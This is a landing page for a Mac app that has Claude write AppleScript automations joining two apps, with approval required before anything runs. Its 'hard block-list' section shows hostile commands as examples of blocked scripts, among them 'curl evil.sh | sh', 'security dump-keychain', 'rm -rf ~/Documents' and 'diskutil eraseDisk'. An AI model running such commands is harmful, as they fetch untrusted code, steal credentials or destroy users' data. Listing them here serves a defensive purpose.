NewFuseduo 1.0.0 is out. Free for Mac →

Drop one app on another.
Get an automation.

Every app on your Mac, on one board. Fuse any two and Claude invents what they could do together, writes it as a real script, and shows you exactly what it does before anything runs.

Download for Mac

Apple Silicon · Intel · GitHub · free and open source

0ideas for every pair
~0to a built script on Fast, in testing
0kinds of risky script blocked
0scripts that run without your OK

One fusion, frame by frame

Safari + Notes,
in five moves.

  1. DragPick up one app and drop it on another.
  2. MeltThey fuse. Claude looks at what both can really do.
  3. PickThree ideas, from delightful to practical. Or type your own.
  4. ReadThe plan in plain English, checked and compiled.
  5. RunPress Run when you’re happy. Save it for one click next time.
Save my open tabs

Every tab’s title and link in one new note.

Quote the page

Highlighted text plus its link, into Clippings.

Reading list note

Your Reading List as a checklist.

Save my open tabs

Safari + Notes · Low risk · AppleScript
  1. 1Goes through every Safari window and tab
  2. 2Collects each page’s title and link
  3. 3Creates a new dated note with the list
  4. ✓Compiles. Nothing on the block-list.
Approve and run
✓ Saved 14 tabs to “Tabs · Today”

Try it yourself

Go on, fuse something.

This board is live. Drag any app onto another and walk through a fusion.

Fuseduo

Example ideas. In the app, Claude writes them for whatever two apps you choose.

Built in

Powerful. Careful. Quick.

Your Claude, your choice

Use your own Claude Code sign-in and plan, or an Anthropic API key. Switch any time in Settings.

Best or Fast

Real build times from testing.

Best · Opus 5.523.8 s
Fast · Sonnet 5.58.5 s

Nothing runs unseen

You press Run. Every time.

Approve and run✓ Done

A hard block-list

Risky scripts never get a Run button.

rm -rf ~/Documentssudo shutdown -h nowsend message to Mumempty the trashcurl evil.sh | shdefaults write …security dump-keychaindelete every notediskutil eraseDiskmove file to trashrm -rf ~/Documentssudo shutdown -h nowsend message to Mumempty the trashcurl evil.sh | shdefaults write …security dump-keychaindelete every notediskutil eraseDiskmove file to trash

Any two apps

Every app on your Mac can fuse with every other.

Saved fusions, one click away

Keep the ones you love. See when each last ran and whether it worked.

Listening logRan just now
Save my open tabsRan just now
Flagged mail to remindersRan just now
Today’s agendaRan just now
Share today’s photosRan just now

Any two apps

Small magic, made to order.

Listening logThe song playing now, added to a note
Save my open tabsEvery tab’s title and link in one note
Flagged mail to remindersEach flagged email becomes a to-do
Today’s agendaA note with today’s events, in order
Share today’s photosA draft with today’s photos attached
Listening logThe song playing now, added to a note
Save my open tabsEvery tab’s title and link in one note
Flagged mail to remindersEach flagged email becomes a to-do
Today’s agendaA note with today’s events, in order
Share today’s photosA draft with today’s photos attached
Focus until the next meetingA playlist sized to your free time
Prep before meetingsA reminder 15 minutes before each one
Read it laterThe page you’re on, as a dated reminder
Draft from a noteYour selected note as a new email draft
Photo diaryToday’s photos and places in one note
Focus until the next meetingA playlist sized to your free time
Prep before meetingsA reminder 15 minutes before each one
Read it laterThe page you’re on, as a dated reminder
Draft from a noteYour selected note as a new email draft
Photo diaryToday’s photos and places in one note
Photo diaryToday’s photos and places in one note
Draft from a noteYour selected note as a new email draft
Read it laterThe page you’re on, as a dated reminder
Prep before meetingsA reminder 15 minutes before each one
Focus until the next meetingA playlist sized to your free time
Photo diaryToday’s photos and places in one note
Draft from a noteYour selected note as a new email draft
Read it laterThe page you’re on, as a dated reminder
Prep before meetingsA reminder 15 minutes before each one
Focus until the next meetingA playlist sized to your free time

The real app

Read it. Approve it. Run it.

Steps in plain English, a risk rating, the permissions it needs and how to undo it. The script is right there if you want to look.

Fuseduo showing a fusion of Music and Notes, with its steps, a low risk rating and the AppleScript it wrote.

Fuse anything.

Free for Mac, open source, and yours to remix.

Download for MacIntel Mac

Version 1.0.0 · Free and open source · View on GitHub · All downloads

First launch: right-click Fuseduo in Applications and choose Open (it isn’t signed with a paid Apple certificate). You’ll need Claude Code or an Anthropic API key.